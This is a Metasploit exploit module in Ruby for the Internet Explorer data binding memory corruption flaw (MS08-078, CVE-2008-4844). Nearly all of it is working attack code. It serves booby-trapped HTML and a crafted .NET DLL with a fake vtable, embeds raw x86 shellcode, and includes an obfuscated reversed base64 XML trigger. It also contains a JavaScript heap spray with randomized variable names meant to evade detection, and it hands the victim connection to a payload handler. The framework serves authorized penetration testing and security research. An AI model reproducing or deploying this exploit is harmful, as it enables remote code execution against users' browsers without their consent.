Microsoft Internet Explorer – Data Binding Memory Corruption (MS08-078) (Metasploit)
## # $Id: ms08_078_xml_corruption.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML # # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn # #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "7.0", # :ua_maxver => "7.0", # :javascript => true, # :os_name => OperatingSystems::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Data Binding Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the data binding feature of Internet Explorer. In order to execute code reliably, this module uses the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is used to create a fake vtable at a known location with all methods pointing to our payload. Since the .text segment of the .NET DLL is non-writable, a prefixed code stub is used to copy the payload into a new memory segment and continue execution from there. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm' ], 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2008-4844'], ['OSVDB', '50622'], ['BID', '32721'], ['MSB', 'MS08-078'], ['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'], ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, # Temporary stub virtualalloc() + memcpy() payload to RWX page 'PrependEncoder' => "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+ "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+ "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+ "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+ "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+ "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+ "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+ "\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+ "\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+ "\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff" }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Dec 07 2008', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) @state ||= {} ibase = 0x13370000 vaddr = ibase + 0x2065 uri,token = request.uri.split('?', 2) if(token) token,trash = token.split('=') end if !(token and @state[token]) print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...") token = rand_text_numeric(32) if ("/" == get_resource[-1,1]) dll_uri = get_resource[0, get_resource.length - 1] else dll_uri = get_resource end dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll" html = %Q|<html> <head> <script language="javascript"> function forward() { window.location = window.location + '?#{token}'; } function start() { setTimeout("forward()", 2000); } </script> </head> <body onload="start()"> <object classid="#{dll_uri}?#{token}#GenericControl"> <object> </body> </html> | @state[token] = :start # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) return end if (uri.match(/\.dll/i)) print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") return if ((p = regenerate_payload(cli)) == nil) # First entry points to the table of pointers vtable = [ vaddr + 4 ].pack("V") cbase = ibase + 0x2065 + (256 * 4) # Build a function table 255.times { vtable << [cbase].pack("V") } # Append the shellcode vtable << p.encoded send_response( cli, Msf::Util::EXE.to_dotnetmem(ibase, vtable), { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' } ) @state[token] = :dll return end print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport} token=#{@state[token]}...") html = "" # # .NET DLL MODE # if(@state[token] == :dll) addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" } data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0] bxml = Rex::Text.to_hex(%Q| <XML ID=I> <X> <C> <![CDATA[ <image SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X > ]]> </C> </X> </XML> #{data} <script> setTimeout('window.location.reload(true);', 250); </script> |, '%') var_unescape = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) html = %Q|<html> <head> <script> function #{var_start}() { var #{var_unescape} = unescape; document.write(#{var_unescape}('#{bxml}')); } </script> </head> <body onload="#{var_start}()"> </body> </html> | # # HEAP SPRAY MODE # else print_status("Heap spray mode") addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" } data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0] bxml = Rex::Text.to_hex(%Q| <XML ID=I> <X> <C> <![CDATA[ <image SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X > ]]> </C> </X> </XML> #{data} <script> setTimeout('window.location.reload(true);', 1000); </script> |, '%') var_memory = rand_text_alpha(rand(100) + 1) var_boom = rand_text_alpha(rand(100) + 1) var_body = rand_text_alpha(rand(100) + 1) var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_spray = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) rand_html = rand_text_english(rand(400) + 500) html = %Q|<html> <head> <script> var #{var_memory} = new Array(); var #{var_unescape} = unescape; function #{var_boom}() { document.getElementById('#{var_body}').innerHTML = #{var_unescape}('#{bxml}'); } function #{var_start}() { var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 ); for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; setTimeout('#{var_boom}()', 1000); } </script> </head> <body onload="#{var_start}()" id="#{var_body}"> #{rand_html} </body> </html> | end # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' }) # Handle the payload handler(cli) end end |